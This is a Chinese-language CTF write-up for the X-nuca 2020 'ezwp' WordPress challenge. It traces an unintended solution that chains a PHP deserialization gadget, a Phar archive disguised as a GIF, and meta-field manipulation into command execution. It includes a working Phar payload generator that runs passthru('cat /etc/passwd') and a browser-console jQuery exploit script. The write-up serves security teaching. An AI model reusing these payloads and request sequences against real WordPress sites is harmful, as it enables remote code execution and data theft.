0%

X-nuca 2020 ezwp Writeup

WordPress

题目直接给了一个 WordPress 的整站,题目附件除了源码还很贴心的给了数据库,在本地搭建好环境以后就可以调试了。先是用 wpscan 扫描一下,发现除了 Contact-Form-7 插件,整个站包括 wordpress 都是最新版,从数据库中可以看到有一个 admin 的管理员用户,但是并没有给出 admin 的密码,一般来说题目是不会让你去爆破管理员密码的,所以题目肯定是需要注册一个低等级账号进行提权。

1
2
3
4
5
6
7
8
9
--
-- Dumping data for table `wp_users`
--

LOCK TABLES `wp_users` WRITE;
/*!40000 ALTER TABLE `wp_users` DISABLE KEYS */;
INSERT INTO `wp_users` VALUES (1,'admin','','admin','admin@qq.com','http://192.168.248.151','2020-12-05 09:10:11','',0,'admin');
/*!40000 ALTER TABLE `wp_users` ENABLE KEYS */;
UNLOCK TABLES;

再看过期的 Contact-Foem-7 插件,它的版本是 5.0.3,而最新版已经是 5.3.1,5.0.3 版本是存在漏洞的,所以题目的预期解应该是需要利用该插件去提权,但是在比赛中并没有完全利用成功,而是使用了另一种非预期解反序列化执行命令拿到了 flag,关于 Contact-Foem-7 插件的利用,将在 0x6 节中详细分析。

Unserialize POP Chain

题目最终的目的是执行命令,运行根目录下的 readflag 程序获取 flag,所以首先就需要找到一个可以执行任意命令或者代码的地方。在文件 FilteredIterator.php 中有一个 Requests_Utility_FilteredIterator 类,该类继承自数组迭代器,在 current 方法中会执行call_user_func($this->callback, $value);,这看起来是一个非常漂亮的执行 php 代码的地方,只要可以控制该类的 data 与 callback 成员变量,就可以执行任意数量参数的 php 函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
// wp-includes/Requests/Utility/FilteredIterator.php
class Requests_Utility_FilteredIterator extends ArrayIterator {
/**
* Callback to run as a filter
*
* @var callable
*/
protected $callback;

/**
* Create a new iterator
*
* @param array $data
* @param callable $callback Callback to be called on each value
*/
public function __construct($data, $callback) {
parent::__construct($data);

$this->callback = $callback;
}

/**
* Get the current item's value after filtering
*
* @return string
*/
public function current() {
$value = parent::current();
$value = call_user_func($this->callback, $value);
return $value;
}
}

在 php 中迭代器主要在 foreach 中使用(例如 php 的原生数组 Array 类),当一个迭代器在 foreach 中开始迭代的时候,每次迭代都将会调用 current 函数以返回一个迭代器中存储的对象,所以只需要对 Requests_Utility_FilteredIterator 类进行迭代就可以自动触发 call_user_func。

1
2
3
4
$arr = array('a'=>'1', 'b'=>'2');
foreach($arr as $k=>$v){
// ...
}

所以下一步就是需要找到一个魔术方法,该魔术方法中会对自身的某一个成员变量进行 foreach 迭代。对于魔术方法的寻找,很多人可能喜欢去寻找__wakeup 或者__toString,但是其实最佳的目标就是构造函数__construct 和析构函数__destruct,这两个函数会经常在各种类中出现,而且触发方式非常简单,经过长时间的寻找,很幸运,在插件 all-in-one-event-calendar 中就存在 Ai1ec_Shutdown_Controller 类的析构函数,该析构函数中会对 $this->_preserve 遍历进行迭代。

1
2
3
4
5
6
7
8
9
10
11
12
13
// wp-content/plugins/all-in-one-event-calendar/app/controller/shutdown.php
class Ai1ec_Shutdown_Controller {
// ...
public function __destruct() {
// replace globals from our internal store
$restore = array();
foreach ($this->_preserve as $name => $class ) {
// ...
}
// ...
}
// ...
}

至此,我们找到了一个可以成功触发反序列化的 POP 链:对 Ai1ec_Shutdown_Controller 类进行序列化,该类的_preserve 变量需要设置为一个 Requests_Utility_FilteredIterator 类,这个类中的 callback 与 value 组合就可以执行任意 php 函数。

Exploit Chain

利用上节中构造的 POP 链,就可以利用反序列化执行任意 php 函数,但是接下来还需要找到一个地方可以触发反序列化,在 WordPress 中直接利用 unserialize 函数进行反序列化可能性不大,但是 WordPress 中是可以上传文件的,我们可以上传一个 Phar 文件,最后利用 phar 伪协议即可触发 POP 链。

最开始我们需要找到一个可以触发伪协议的地方,Phar 伪协议的触发需要使用 php 文件系统函数,如下所示第 27 行的 file_exists 函数看起来是一个很好的选择。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
// wp-includes/post.php

/**
* Retrieve thumbnail for an attachment.
*
* @since 2.1.0
*
* @param int $post_id Optional. Attachment ID. Default 0.
* @return string|false False on failure. Thumbnail file path on success.
*/
function wp_get_attachment_thumb_file( $post_id = 0 ) {
$post_id = (int) $post_id;
$post = get_post($post_id );
if (! $post ) {
return false;
}

$imagedata = wp_get_attachment_metadata($post->ID );
if (! is_array($imagedata ) ) {
return false;
}

$file = get_attached_file($post->ID );

if (! empty($imagedata['thumb'] ) ) {
$thumbfile = str_replace(basename($file ), $imagedata['thumb'], $file );
if (file_exists($thumbfile ) ) {
/**
* Filters the attachment thumbnail file path.
*
* @since 2.1.0
*
* @param string $thumbfile File path to the attachment thumbnail.
* @param int $post_id Attachment ID.
*/
return apply_filters('wp_get_attachment_thumb_file', $thumbfile, $post->ID );
}
}
return false;
}

我们需要使 thumbfile 的值可控,可以看到 thumbfile 的值是从 file 与 imagedata 来的,再看 get_attached_file 函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
// wp-includes/post.php

/**
* Retrieve attached file path based on attachment ID.
*
* By default the path will go through the 'get_attached_file' filter, but
* passing a true to the $unfiltered argument of get_attached_file() will
* return the file path unfiltered.
*
* The function works by getting the single post meta name, named
* '_wp_attached_file' and returning it. This is a convenience function to
* prevent looking up the meta name and provide a mechanism for sending the
* attached filename through a filter.
*
* @since 2.0.0
*
* @param int $attachment_id Attachment ID.
* @param bool $unfiltered Optional. Whether to apply filters. Default false.
* @return string|false The file path to where the attached file should be, false otherwise.
*/
function get_attached_file( $attachment_id, $unfiltered = false ) {
$file = get_post_meta($attachment_id, '_wp_attached_file', true );

// If the file is relative, prepend upload dir.
if ($file && 0 !== strpos($file, '/' ) && ! preg_match('|^.:\\\|', $file ) ) {
$uploads = wp_get_upload_dir();
if (false === $uploads['error'] ) {
$file = $uploads['basedir'] . "/$file";
}
}

if ($unfiltered ) {
return $file;
}

/**
* Filters the attached file based on the given ID.
*
* @since 2.1.0
*
* @param string|false $file The file path to where the attached file should be, false otherwise.
* @param int $attachment_id Attachment ID.
*/
return apply_filters('get_attached_file', $file, $attachment_id );
}

这个函数首先从数据库中_wp_attached_file 字段读取附件路径,而_wp_attached_file 是我们可以控制的,具体的控制方法会在后文中提到,控制了 file 以后不能让程序流程进入 25 行的 if 中,否则会在 file 前面拼接上传目录,导致 file 只能部分可控。

再看 wp_get_attachment_thumb_file 函数中完全控制 thumbfile 的条件是 str_replace(basename( $file), $imagedata['thumb'], $file ),如果 basename(file) 和 file 的值相同,那么该语句就会直接返回 imagedata[‘thumb’],需要注意的是站点运行在 Linux 上,如果输入的 file 是一个 Windows 下的路径例如Z:\Z,就可以满足正则,从而不会进入到 if 中,而外面的 basename 就会将其当作一个目录,直接返回 file(假如站点运行在 Windows 上,basename 会返回”Z”,Linux 下直接返回”Z:\Z”)。

再看 imagedata 是怎么来的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
// wp-includes/post.php

/**
* Retrieves attachment metadata for attachment ID.
*
* @since 2.1.0
*
* @param int $attachment_id Attachment post ID. Defaults to global $post.
* @param bool $unfiltered Optional. If true, filters are not run. Default false.
* @return array|false {
* Attachment metadata. False on failure.
*
* @type int $width The width of the attachment.
* @type int $height The height of the attachment.
* @type string $file The file path relative to `wp-content/uploads`.
* @type array $sizes Keys are size slugs, each value is an array containing
* 'file', 'width', 'height', and 'mime-type'.
* @type array $image_meta Image metadata.
* }
*/
function wp_get_attachment_metadata( $attachment_id = 0, $unfiltered = false ) {
$attachment_id = (int) $attachment_id;

$post = get_post($attachment_id );
if (! $post ) {
return false;
}

$data = get_post_meta($post->ID, '_wp_attachment_metadata', true );

if ($unfiltered ) {
return $data;
}

/**
* Filters the attachment meta data.
*
* @since 2.1.0
*
* @param array|bool $data Array of meta data for the given attachment, or false
* if the object does not exist.
* @param int $attachment_id Attachment post ID.
*/
return apply_filters('wp_get_attachment_metadata', $data, $post->ID );
}

可以看到 imagedata 就是数据库中的_wp_attachment_metadata 字段,而该字段也是可控的。在可以完全控制 thumbfile 以后我们需要找到一个可以调用 wp_get_attachment_thumb_file 函数的地方。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
// wp-includes/media.php

/**
* Scale an image to fit a particular size (such as 'thumb' or 'medium').
*
* The URL might be the original image, or it might be a resized version. This
* function won't create a new resized copy, it will just return an already
* resized one if it exists.
*
* A plugin may use the {@see 'image_downsize'} filter to hook into and offer image
* resizing services for images. The hook must return an array with the same
* elements that are normally returned from the function.
*
* @since 2.5.0
*
* @param int $id Attachment ID for image.
* @param string|int[] $size Optional. Image size to scale to. Accepts any valid image size name,
* or an array of width and height values in pixels (in that order).
* Default 'medium'.
* @return array|false {
* Array of image data, or boolean false if no image is available.
*
* @type string $0 Image source URL.
* @type int $1 Image width in pixels.
* @type int $2 Image height in pixels.
* @type bool $3 Whether the image is a resized image.
* }
*/
function image_downsize( $id, $size = 'medium' ) {
// ...
if ($intermediate ) {
$img_url = str_replace($img_url_basename, $intermediate['file'], $img_url );
$width = $intermediate['width'];
$height = $intermediate['height'];
$is_intermediate = true;
} elseif ('thumbnail' === $size ) {
// Fall back to the old thumbnail.
$thumb_file = wp_get_attachment_thumb_file($id );
// ...
}
// ...
}

image_downsize 函数的作用就是将一个附件转换为不同尺寸的缩略图,如果 size 是 thumbnail 的话就可以直接调用 wp_get_attachment_thumb_file,那么再看有没有什么地方调用了 image_downsize 函数,并且 size 是 thumbnail。由于 WordPress 的媒体页面中可以很明显看到提供了多种尺寸的附件缩略图,所以肯定可以找到满足要求的调用点。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
// wp-admin/includes/media.php

/**
* Retrieve HTML for the size radio buttons with the specified one checked.
*
* @since 2.7.0
*
* @param WP_Post $post
* @param bool|string $check
* @return array
*/
function image_size_input_fields( $post, $check = '' ) {
// ...
$size_names = apply_filters(
'image_size_names_choose',
array(
'thumbnail' => __('Thumbnail' ),
'medium' => __('Medium' ),
'large' => __('Large' ),
'full' => __('Full Size' ),
)
);
// ...
foreach ($size_names as $size => $label ) {
$downsize = image_downsize($post->ID, $size );
// ...
}
// ...
$html = "<div class='image-size-item'><input type='radio' " . disabled($enabled, false, false ) . "name='attachments[$post->ID][image-size]' id='{$css_id}' value='{$size}'$checked />";

$html .= "<label for='{$css_id}'>$label</label>";
// ...
return array(
'label' => __('Size' ),
'input' => 'html',
'html' => join("\n", $out ),
);
}

可以看到在 foreach 中对每一个 size 进行遍历,而 size_names 中刚好有 thumbnail,可以成功触发 image_downsize。通过分析函数,可以看到该函数的作用是构造 HTML 表单,那么很幸运,即然这个函数要输出 HTML,可以通过接口调用该函数的可能性就更大了,再找一找哪里可以触发该函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
// wp-admin/includes/media.php

/**
* Retrieves the attachment fields to edit form fields.
*
* @since 2.5.0
*
* @param WP_Post $post
* @param array $errors
* @return array
*/
function get_attachment_fields_to_edit( $post, $errors = null ) {
// ...
// This was formerly in image_attachment_fields_to_edit().
if ('image' === substr($post->post_mime_type, 0, 5 ) ) {
$alt = get_post_meta($post->ID, '_wp_attachment_image_alt', true );

if (empty($alt ) ) {
$alt = '';
}

$form_fields['post_title']['required'] = true;

$form_fields['image_alt'] = array(
'value' => $alt,
'label' => __('Alternative Text' ),
'helps' => __('Alt text for the image, e.g. &#8220;The Mona Lisa&#8221;' ),
);

$form_fields['align'] = array(
'label' => __('Alignment' ),
'input' => 'html',
'html' => image_align_input_fields($post, get_option('image_default_align' ) ),
);

$form_fields['image-size'] = image_size_input_fields($post, get_option('image_default_size', 'medium' ) );

} else {
unset($form_fields['image_alt'] );
}
// ...
/**
* Filters the attachment fields to edit.
*
* @since 2.5.0
*
* @param array $form_fields An array of attachment form fields.
* @param WP_Post $post The WP_Post attachment object.
*/
$form_fields = apply_filters('attachment_fields_to_edit', $form_fields, $post );

return $form_fields;
}

可以看到第 35 行 $form_fields['image-size'] = image_size_input_fields($post, get_option( 'image_default_size', 'medium') ); 调用了该函数,而进入该 if 分支的条件是'image' === substr($post->post_mime_type, 0, 5),只要我们上传的文件 mime 是 image 就可以进入分支,那么再找找哪里调用了 get_attachment_fields_to_edit。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
// wp-admin/includes/media.php

/**
* Retrieve HTML form for modifying the image attachment.
*
* @since 2.5.0
*
* @global string $redir_tab
*
* @param int $attachment_id Attachment ID for modification.
* @param string|array $args Optional. Override defaults.
* @return string HTML form for attachment.
*/
function get_media_item( $attachment_id, $args = null ) {
// ...
$post_mime_types = get_post_mime_types();
$keys = array_keys(wp_match_mime_types(array_keys($post_mime_types ), $post->post_mime_type ) );
$type = reset($keys );
$type_html = "<input type='hidden' id='type-of-$attachment_id' value='" . esc_attr($type ) . "' />";

$form_fields = get_attachment_fields_to_edit($post, $parsed_args['errors'] );

if ($parsed_args['toggle'] ) {
$class = empty($parsed_args['errors'] ) ? 'startclosed' : 'startopen';
$toggle_links = "
<a class='toggle describe-toggle-on' href='#'>$toggle_on</a>
<a class='toggle describe-toggle-off' href='#'>$toggle_off</a>";
} else {
$class = '';
$toggle_links = '';
}
// ...
$item .= "\t</tbody>\n";
$item .= "\t</table>\n";

foreach ($hidden_fields as $name => $value ) {
$item .= "\t<input type='hidden' name='$name' id='$name' value='" . esc_attr($value ) . "' />\n";
}

if ($post->post_parent < 1 && isset($_REQUEST['post_id'] ) ) {
$parent = (int) $_REQUEST['post_id'];
$parent_name = "attachments[$attachment_id][post_parent]";
$item .= "\t<input type='hidden' name='$parent_name' id='$parent_name' value='$parent' />\n";
}

return $item;
}

这是一个非常大的函数,该函数的作用就是构造 HTML 输出页面,其中刚好包含了构造表单的函数。那么再看哪里可以触发 get_media_item。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
// wp-admin/media.php

/**
* Media management action handler.
*
* @package WordPress
* @subpackage Administration
*/

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

$parent_file = 'upload.php';
$submenu_file = 'upload.php';

wp_reset_vars(array('action' ) );

switch ($action ) {
// ...
// No break.
case 'edit':
$title = __('Edit Media' );

if (empty($errors ) ) {
$errors = null;
}

if (empty($_GET['attachment_id'] ) ) {
wp_redirect(admin_url('upload.php' ) );
exit;
}
$att_id = (int) $_GET['attachment_id'];
// ...
<form method="post" class="media-upload-form" id="media-single-form">
<p class="submit" style="padding-bottom: 0;">
<?php submit_button(__('Update Media' ), 'primary', 'save', false ); ?>
</p>

<div class="media-single">
<div id="media-item-<?php echo $att_id; ?>" class="media-item">
<?php
echo get_media_item(
$att_id,
array(
'toggle' => false,
'send' => false,
'delete' => false,
'show_title' => false,
'errors' => ! empty($errors[$att_id ] ) ? $errors[$att_id ] : null,
)
);
?>
</div>
</div>
// ...
}

到了这里,已经进入了一个前端页面中,代表我们可以直接访问了,访问地址为”/wp-admin/media.php”。可以看到在一个前端输出中调用了 get_media_item,该输出位于一个 case 中,条件为 action 参数是 edit,并且需要一个合法的 attachment_id 参数,如下图所示。需要注意的是该利用链中的所有的 id(包括 attachment_id 或者 post_id 等等)均指上传的附件 id。

测试一下该利用链是否可以跳转到 file_exists 函数,手动 patch 一下源码,加了一个 die,之所以加在 if 的前面是因为还没有设置 imagedata。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// wp-includes/post.php

// ...
$imagedata = wp_get_attachment_metadata($post->ID );
if (! is_array($imagedata ) ) {
return false;
}

$file = get_attached_file($post->ID );
die("Hello");

if (! empty($imagedata['thumb'] ) ) {
$thumbfile = str_replace(basename($file ), $imagedata['thumb'], $file );
if (file_exists($thumbfile ) ) {
// ...
}
}
// ...

可以成功触发。

最终的漏洞利用链如下。

1
2
3
4
5
6
7
8
switch case 'edit' [wp-admin/media.php:47] ->
get_media_item [wp-admin/media.php:142] ->
get_attachment_fields_to_edit [wp-admin/includes/media.php:1596] ->
image_size_input_fields [wp-admin/includes/media.php:1459] ->
image_downsize [wp-admin/includes/media.php:1156] ->
wp_get_attachment_thumb_file [wp-includes/media.php:244] ->
file_exists("phar://.....") [wp-includes/post.php:6148] ->
execute command

接下来就需要控制_wp_attachment_metadata 与_wp_attached_file 字段的值,其中_wp_attachment_metadata 字段就是 imagedata 的值,_wp_attached_file 就是 file 的值,控制 file 为 Z:\Z 之后就要控制 imagedata[‘thumb’]的值为phar://../wp-content/uploads/2020/12/a.gif/test.txt,a.gif 就是上传的附件。

在以前的 WordPress 中可以通过 meta_input 参数就可以直接控制数据库中各表的数据,但是之后 WordPress 补了这个洞,Patch 如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
// wp-admin/includes/post.php

/**
* Returns only allowed post data fields
*
* @since 5.0.1
*
* @param array $post_data Array of post data. Defaults to the contents of $_POST.
* @return array|WP_Error Array of post data on success, WP_Error on failure.
*/
function _wp_get_allowed_postdata( $post_data = null ) {
if (empty($post_data ) ) {
$post_data = $_POST;
}

// Pass through errors.
if (is_wp_error($post_data ) ) {
return $post_data;
}

return array_diff_key($post_data, array_flip(array('meta_input', 'guid' ) ) );
}

直接过滤了 meta_input 与 guid 参数,另外需要说明的是在官方的补丁中还包含了 file 参数,但是在该题目中却并没有(上面的源码是题目中的)这就导致了可以利用 file 参数控制_wp_attachment_metadata 与_wp_attached_file 字段。

wp_attached_file

首先需要修改_wp_attached_file 字段。在 /wp-admin/post.php 中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
// wp-admin/post.php

// ...
switch ($action ) {
// ...
case 'editpost':
check_admin_referer('update-post_' . $post_id );

$post_id = edit_post();

// Session cookie flag that the post was saved.
if (isset($_COOKIE['wp-saving-post'] ) && $_COOKIE['wp-saving-post'] === $post_id . '-check' ) {
setcookie('wp-saving-post', $post_id . '-saved', time() + DAY_IN_SECONDS, ADMIN_COOKIE_PATH, COOKIE_DOMAIN, is_ssl());
}

redirect_post($post_id ); // Send user on their way while we keep working.

exit;
// ...
}

流程转入 edit_post 函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
// wp-admin/includes/post.php

/**
* Update an existing post with values provided in $_POST.
*
* If post data is passed as an argument, it is treated as an array of data
* keyed appropriately for turning into a post object.
*
* If post data is not passed, the $_POST global variable is used instead.
*
* @since 1.5.0
*
* @global wpdb $wpdb WordPress database abstraction object.
*
* @param array $post_data Optional. Defaults to the $_POST global.
* @return int Post ID.
*/
function edit_post( $post_data = null ) {
// ..
$post_data = _wp_translate_postdata(true, $post_data );
if (is_wp_error($post_data ) ) {
wp_die($post_data->get_error_message());
}
$translated = _wp_get_allowed_postdata($post_data );
// ...
// Attachment stuff.
if ('attachment' === $post_data['post_type'] ) {
if (isset($post_data['_wp_attachment_image_alt'] ) ) {
$image_alt = wp_unslash($post_data['_wp_attachment_image_alt'] );

if (get_post_meta($post_ID, '_wp_attachment_image_alt', true ) !== $image_alt ) {
$image_alt = wp_strip_all_tags($image_alt, true );

// update_post_meta() expects slashed.
update_post_meta($post_ID, '_wp_attachment_image_alt', wp_slash($image_alt ) );
}
}

$attachment_data = isset($post_data['attachments'][$post_ID ] ) ? $post_data['attachments'][$post_ID ] : array();

/** This filter is documented in wp-admin/includes/media.php */
$translated = apply_filters('attachment_fields_to_save', $translated, $attachment_data );
}
// ...
$success = wp_update_post($translated );
// ...
}

其中 translated 保存了过滤后的 post 数据,由于题目中没有过滤 file 参数,所以这里的 translated 中依旧存在 file 参数。再看 wp_update_post 函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
// wp-includes/post.php

/**
* Update a post with new post data.
*
* The date does not have to be set for drafts. You can set the date and it will
* not be overridden.
*
* @since 1.0.0
*
* @param array|object $postarr Optional. Post data. Arrays are expected to be escaped,
* objects are not. Default array.
* @param bool $wp_error Optional. Allow return of WP_Error on failure. Default false.
* @return int|WP_Error The post ID on success. The value 0 or WP_Error on failure.
*/
function wp_update_post( $postarr = array(), $wp_error = false ) {
// ...
// Merge old and new fields with new fields overwriting old ones.
$postarr = array_merge($post, $postarr );
$postarr['post_category'] = $post_cats;
if ($clear_date ) {
$postarr['post_date'] = current_time('mysql' );
$postarr['post_date_gmt'] = '';
}
// ...
return wp_insert_post($postarr, $wp_error );
}

流程转入到 wp_insert_post。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// wp-includes/post.php

/**
* Insert or update a post.
*
* If the $postarr parameter has 'ID' set to a value, then post will be updated.
*
* You can set the post date manually, by setting the values for 'post_date'
* and 'post_date_gmt' keys. You can close the comments or open the comments by
* setting the value for 'comment_status' key.
*
* @since 1.0.0
* @since 4.2.0 Support was added for encoding emoji in the post title, content, and excerpt.
* @since 4.4.0 A 'meta_input' array can now be passed to `$postarr` to add post meta data.
*
* ...
*/
function wp_insert_post( $postarr, $wp_error = false ) {
// ...
if ('attachment' === $postarr['post_type'] ) {
if (! empty($postarr['file'] ) ) {
update_attached_file($post_ID, $postarr['file'] );
}

if (! empty($postarr['context'] ) ) {
add_post_meta($post_ID, '_wp_attachment_context', $postarr['context'], true );
}
}
// ...
}

直接传递 postarr[‘file’],再看 update_attached_file。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
// wp-includes/post.php

/**
* Update attachment file path based on attachment ID.
*
* Used to update the file path of the attachment, which uses post meta name
* '_wp_attached_file' to store the path of the attachment.
*
* @since 2.1.0
*
* @param int $attachment_id Attachment ID.
* @param string $file File path for the attachment.
* @return bool True on success, false on failure.
*/
function update_attached_file( $attachment_id, $file ) {
if (! get_post($attachment_id ) ) {
return false;
}

/**
* Filters the path to the attached file to update.
*
* @since 2.1.0
*
* @param string $file Path to the attached file to update.
* @param int $attachment_id Attachment ID.
*/
$file = apply_filters('update_attached_file', $file, $attachment_id );

$file = _wp_relative_upload_path($file );
if ($file ) {
return update_post_meta($attachment_id, '_wp_attached_file', $file );
} else {
return delete_post_meta($attachment_id, '_wp_attached_file' );
}
}

直接通过 update_post_meta 更新_wp_attached_file 字段,最终导致 file 可控。

wp_attachment_metadata

接下来修改_wp_attachmen\t_metadata 字段,同样在在 /wp-admin/post.php 中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
// wp-admin/post.php

// ...
switch ($action ) {
// ...
case 'editattachment':
check_admin_referer('update-post_' . $post_id );

// Don't let these be changed.
unset($_POST['guid'] );
$_POST['post_type'] = 'attachment';

// Update the thumbnail filename.
$newmeta = wp_get_attachment_metadata($post_id, true );
$newmeta['thumb'] = $_POST['thumb'];

wp_update_attachment_metadata($post_id, $newmeta );

// Intentional fall-through to trigger the edit_post() call.
case 'editpost':
// ...
}

有一个 wp_update_attachment_metadata,参数 newmeta[‘thumb’]刚好就是我们需要的 imagedata[‘thumb’]。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
// wp-includes/post.php

/**
* Updates metadata for an attachment.
*
* @since 2.1.0
*
* @param int $attachment_id Attachment post ID.
* @param array $data Attachment meta data.
* @return int|bool False if $post is invalid.
*/
function wp_update_attachment_metadata( $attachment_id, $data ) {
$attachment_id = (int) $attachment_id;

$post = get_post($attachment_id );
if (! $post ) {
return false;
}

/**
* Filters the updated attachment meta data.
*
* @since 2.1.0
*
* @param array $data Array of updated attachment meta data.
* @param int $attachment_id Attachment post ID.
*/
$data = apply_filters('wp_update_attachment_metadata', $data, $post->ID );
if ($data ) {
return update_post_meta($post->ID, '_wp_attachment_metadata', $data );
} else {
return delete_post_meta($post->ID, '_wp_attachment_metadata' );
}
}

直接通过 update_post_meta 更新_wp_attachment_metadata 字段,导致 imagedata 可控。

Exploit

首先需要生成一个 Phar 文件,但是 WordPress 并不傻,Phar 这种很容易被反序列化的文件 WordPress 肯定是不让直接上传的,因此这里就需要先将 Phar 文件伪装成 gif 文件之后才可以直接上传,但是序列化后的字符串还存在与该 gif 文件中,在 phar 伪协议读取该 gif 文件的时候仍旧可以触发反序列化。另外 WordPress 会拦截上传文件中的 php 代码,如果直接将 <?php __HALT_COMPILER(); ?> 写入 gif 文件中会被 WordPress 拦截,因此可以使用短标签即可绕过。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
class Requests_Utility_FilteredIterator extends ArrayIterator {
protected $callback;
public function __construct($data, $callback) {
parent::__construct($data);
$this->callback = $callback;
}
}

class Ai1ec_Shutdown_Controller {
protected $_preserve;
public function __construct() {
$this->_preserve = new Requests_Utility_FilteredIterator(array('cat /etc/passwd'), 'passthru');
}
}

@unlink("a.gif");
$phar = new Phar("a.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<? __HALT_COMPILER(); ?>"); // Short tag.
$phar->setMetadata(new Ai1ec_Shutdown_Controller());
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
rename('a.phar', 'a.gif');

生成好 gif 以后上传该文件,上传成功以后就可以拿到该文件的 id。

WordPress 为了防御 CSRF,在每一个页面都加入了一个 nonce 以及对 referer 的验证,所以我们还需要拿到 nonce 才能发送 post 请求。注意每个页面的 nonce 都不同,这里需要 edit 页面的 nonce,如下所示。

为了避免登陆 cookie 的麻烦,直接使用 ajax 发送请求,当然使用 python 也可以,将下面的 exp 配置修改完成后粘贴到浏览器控制台执行即可,如果下面的 exp 返回了错误的结果(例如 403),那么可能是由于 nonce 或者 id 错误。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
var nonce = "37e43b20f4"
var id = "9"
var thumb = "phar://../wp-content/uploads/2020/12/a.gif/test.txt"
var ip = "127.0.0.1"
// var ip = "172.16.9.51"

// _wp_attached_file
var settings = {
"url": "http://" + ip + "/wp-admin/post.php",
"method": "POST",
"data": {
"_wpnonce": nonce,
"_wp_http_referer": "/wp-admin/post.php?post=" + id +"&action=edit",
"action": "editpost",
"post_type":"attachment",
"post_ID":id,
"file":"Z:\\Z"
}
}

jQuery.ajax(settings).done(function (response) {
console.log(response);
});

// _wp_attachment_metadata
var settings = {
"url": "http://" + ip + "/wp-admin/post.php",
"method": "POST",
"data": {
"_wpnonce": nonce,
"_wp_http_referer": "/wp-admin/post.php?post=" + id +"&action=edit",
"action": "editattachment",
"post_ID":id,
"thumb":thumb
}
}

jQuery.ajax(settings).done(function (response) {
console.log(response);
});

上面的 exp 执行完成后_wp_attachment_metadata 与_wp_attached_file 字段就修改完成了。

最后访问页面 /wp-admin/media.php?attachment_id=9&action=edit 就可以触发反序列化执行命令获取输出。